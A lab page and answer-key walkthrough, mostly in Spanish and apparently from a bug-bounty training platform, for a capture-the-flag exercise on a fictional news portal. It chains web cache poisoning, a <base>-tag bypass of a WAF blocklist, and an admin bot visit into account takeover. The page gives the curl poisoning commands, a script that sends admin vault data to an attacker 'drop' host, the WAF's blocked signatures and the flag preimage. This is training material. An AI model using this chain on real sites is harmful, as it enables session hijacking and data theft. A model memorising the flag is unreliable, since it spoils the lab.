Web Cache Poisoning → XSS con bypass de WAF → ATO one-click del asesor
El portal de suscriptores de **Meridian Press** (grupo editorial ficticio) se sirve detrás de un edge cache. El error handler 404 legacy del origin refleja la cabecera `Referer` sin escapar y el edge cachea esa página keyed solo por el path
Learn to find this bug
This bug paid $1,100 on YesWeHack.
Create your account and practice real bugs that got paid. Download the environment, find it and learn the exact technique — your path to your first bounty.
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Access to all labs · no commitment · cancel anytime
Hunters who solved it· 4
Objectives
Achievement you'll earn
Solve this lab to unlock this shareable achievement
Web Cache Poisoning → XSS con bypass de WAF → ATO one-click del asesor
Community writeups
- Target (edge cacheante):
http://localhost:2200 - Tu caja de atacante (drop):
http://localhost:2201
Credenciales preseed:
- attacker (lector de demo, suscriptor):
attacker@meridian.local/password123— a/api/vaultrecibe 403. - advisor (asesor de cuenta, admin, identidad del bot):
advisor@meridian.local/ random por boot (no necesario; nunca se loguea a mano). - otros suscriptores: ver
app/server/src/db/seed.ts.
Cadena completa (answer-key)
Este apartado es la solución detallada. Si aún no has intentado el reto, ve primero a
CHALLENGE.md.
Paso 1 — Descubrir el edge y su cache key
Toda respuesta del target trae cabeceras de CDN. Pide dos veces el mismo path:
curl -is http://localhost:2200/pricing | grep -iE 'x-cache|age|server-timing|server'
# 1ª → X-Cache: MISS ; Age: 0 ; server-timing: cache;desc="miss" ; Server: meridian-edge
curl -is http://localhost:2200/pricing | grep -iE 'x-cache|age'
# 2ª → X-Cache: HIT ; Age: N
La cache key es solo el path: repite el mismo path con distinta query y sigue devolviendo HIT del contenido original. Las rutas /api/* y los POST no se cachean (X-Cache: BYPASS). TTL 45 s.
Paso 2 — La 404 legacy refleja el Referer sin escapar
Pide una sección inexistente de /subscription/* con un marcador en Referer:
curl -is 'http://localhost:2200/subscription/no-existe-xyz' \
-H 'Referer: PROBE_meridian_marker' | grep -A1 'Volviste desde'
# → <p class="e404-from">Volviste desde: <span>PROBE_meridian_marker</span></p>
El valor del Referer sale crudo en el <body> (auto-descubrimiento: el marcador aparece literal sin adivinar nada). En view-source de esa 404 también verás:
<script src="/assets/edge-404.js"></script>
Un path root-absoluto (empieza por /): ese es el recurso que un tag de reasignación de base puede reapuntar a otro origin. /assets/edge-404.js existe de verdad en el origin (es un tracker legítimo de páginas no encontradas).
Paso 3 — Referer fuera de la cache key + bypass del WAF
El Referer es un input reflejado que no entra en la cache key. Envenena un path con un Referer y léelo en una request sin él:
# Sembrar
curl -s 'http://localhost:2200/subscription/mi-slug-de-ataque' \
-H 'Referer: SEED_ABC' >/dev/null
# Leer sin Referer → devuelve el SEED_ABC cacheado con X-Cache: HIT
curl -is 'http://localhost:2200/subscription/mi-slug-de-ataque' | grep -E 'X-Cache|SEED_ABC'
El edge sirve contenido derivado de un Referer que no es el de la request actual → confirmado: el Referer está fuera de la key.
El WAF del edge (403 con página de bloqueo "suspicious markup") bloquea, case-insensitive, estas firmas:
<script → bloqueado
onerror= → bloqueado (\bon\w+\s*=)
<svg → bloqueado
srcdoc → bloqueado
javascript: → bloqueado
data: → bloqueado
Pelear el filtro de frente (doble-encoding, <ScRiPt, null bytes, <img/onerror>) es un decoy: todo eso está cubierto. La blocklist es incompleta: no cubre el tag <base>, que reasigna la base contra la que se resuelven los recursos root-absolutos de la página. Siembra la cache con bytes crudos (no URL-encodeados) apuntando a tu caja en la red docker (drop:2201, que es donde lo resolverá el navegador del bot):
curl -s 'http://localhost:2200/subscription/mi-slug-de-ataque' \
-H 'Referer: <base href="http://drop:2201/">' >/dev/null
# La 404 envenenada (Referer reflejado con el <base> + <script src="/assets/edge-404.js">)
# queda cacheada bajo /subscription/mi-slug-de-ataque durante 45 s.
Por qué la cache es load-bearing. Un navegador víctima nunca enviaría
</>crudos en su propioReferer(los URL-encodea), así que no puede auto-infligirse el payload navegando. El atacante siembra la cache una sola vez con curl (bytes crudos) y los navegadores víctima reciben esos bytes desde la respuesta cacheada, sin volver a tocar el origin. El edge es lo único que puede inyectar bytes que un navegador nunca emitiría. Sin cache no hay víctimas de terceros: sería un XSS reflejado auto-infligido.
Paso 4 — Llevar el payload a la víctima (bot admin) y exfiltrar
En "Mi cuenta" existe la función Compartir con un asesor. Encola una visita del asesor (bot admin, Puppeteer) a una URL del portal:
# Con la sesión del attacker (cookie meridian_session o Bearer):
curl -s 'http://localhost:2200/account/share-with-advisor' \
-H 'Content-Type: application/json' \
-H 'Cookie: meridian_session=<tu-jwt>' \
--data '{"url":"http://localhost:2200/subscription/mi-slug-de-ataque"}'
# → {"ok":true,"ticketId":N,"message":"enlace enviado al asesor #N"}
El bot (ciclo ~8 s) hace login como advisor@meridian.local, inyecta su cookie de sesión en el host del edge y abre la URL a través del edge → recibe la 404 cacheada y envenenada. Su navegador parsea <base href="http://drop:2201/">, resuelve /assets/edge-404.js contra tu drop (el <base> cambió el origin de resolución) y ejecuta tu exfil.js en el origin de Meridian con la sesión admin del asesor.
Tu exfil.js hace fetch(location.origin + '/api/vault', { credentials:'include' }) (200 solo para admin) y baliza el JSON a http://drop:2201/collect. Lee la captura:
curl -s http://localhost:2201/collect/log | python3 -m json.tool
# o en el navegador: http://localhost:2201/collect/log
Verás un beacon alive@http://localhost:2200 y luego el cuerpo del vault con el campo flag.
Automatización completa: python3 exploit.py (login → siembra → share → poll /collect/log → flag) y python3 tests/verify.py.
Flag
La flag tiene formato FLAG{md5(<preimage>)}.
Preimagen (en flag/README.md / flag/verify.sh, excluida del Docker context):
edgecachepoison::cache_poison::base_href_waf_bypass::bot_admin_ato::2026
Verifica localmente:
printf '%s' 'edgecachepoison::cache_poison::base_href_waf_bypass::bot_admin_ato::2026' | md5sum
# o
bash flag/verify.sh
La flag vive solo en el vault admin-only del origin; nunca viaja al bundle cliente, ni a env vars expuestas al navegador, ni a respuestas anónimas. Solo se obtiene completando la cadena.